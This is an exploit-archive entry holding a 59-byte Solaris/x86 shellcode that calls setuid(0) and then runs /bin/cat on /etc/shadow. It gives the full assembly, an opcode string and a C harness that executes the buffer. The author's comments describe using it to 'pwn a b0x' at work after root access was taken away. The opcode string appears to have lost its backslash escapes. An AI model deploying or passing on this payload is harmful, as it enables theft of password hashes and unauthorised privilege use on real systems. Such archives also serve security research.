[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : solaris/x86 setuid(0), execve(/bin/cat, /etc/shadow), exit(0) 59 bytes
# Published : 2008-12-02
# Author : sm4x
# Previous Title : solaris/x86 setuid(0), execve(//bin/sh); exit(0) NULL Free 39 bytes
# Next Title : linux/amd64 flush iptables rules shellcode 84 bytes


/*
; sm4x 2008
; /bin/cat /etc/shadow
; 59 bytes
; SunOS sol01 5.11 snv_86 i86pc i386 i86pc Solaris
; (port to SunOS to pwn a b0x - thank god for that default __unix__ CRYPT_DEFAULT!!!!)
; this is what happens when ur work takes away root pirv on a SunOS box :-/

global _start
_start:

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
int     0x91

; --- setup /etc/shadow
jmp     short   load_file
ok:
pop     esi

; setup /bin/cat
push    eax
push    0x7461632f
push    0x6e69622f
mov     ebx, esp

; --- array setup
push    eax     ; null
push    esi     ; /etc/shadow
push    ebx     ; /bin/cat
mov     edx, esp

; -- execve()
push    eax     ; 0
push    edx     ; array { "/bin/cat", "/etc/shadow", 0}
push    ebx     ; /bin/cat
mov     al, 0x3b
push    eax
int     0x91

; --- exit
inc	eax
push    eax
push    eax
int     0x91

load_file:
call    ok
db      '/etc/shadow'

*/

#include <stdio.h>

char code[] =  "x31xc0x50x50xb0x17xcdx91xebx20"
		"x5ex50x68x2fx63x61x74x68x2fx62"
		"x69x6ex89xe3x50x56x53x89xe2x50"
		"x52x53xb0x3bx50xcdx91x40x50x50"
		"xcdx91xe8xdbxffxffxffx2fx65x74"
		"x63x2fx73x68x61x64x6fx77";

int main(int argc, char **argv) {
 int (*func)();
 printf("Bytes: %dn", sizeof(code));
 func = (int (*)()) code;
 (int)(*func)();
}

// www.Syue.com [2008-12-02]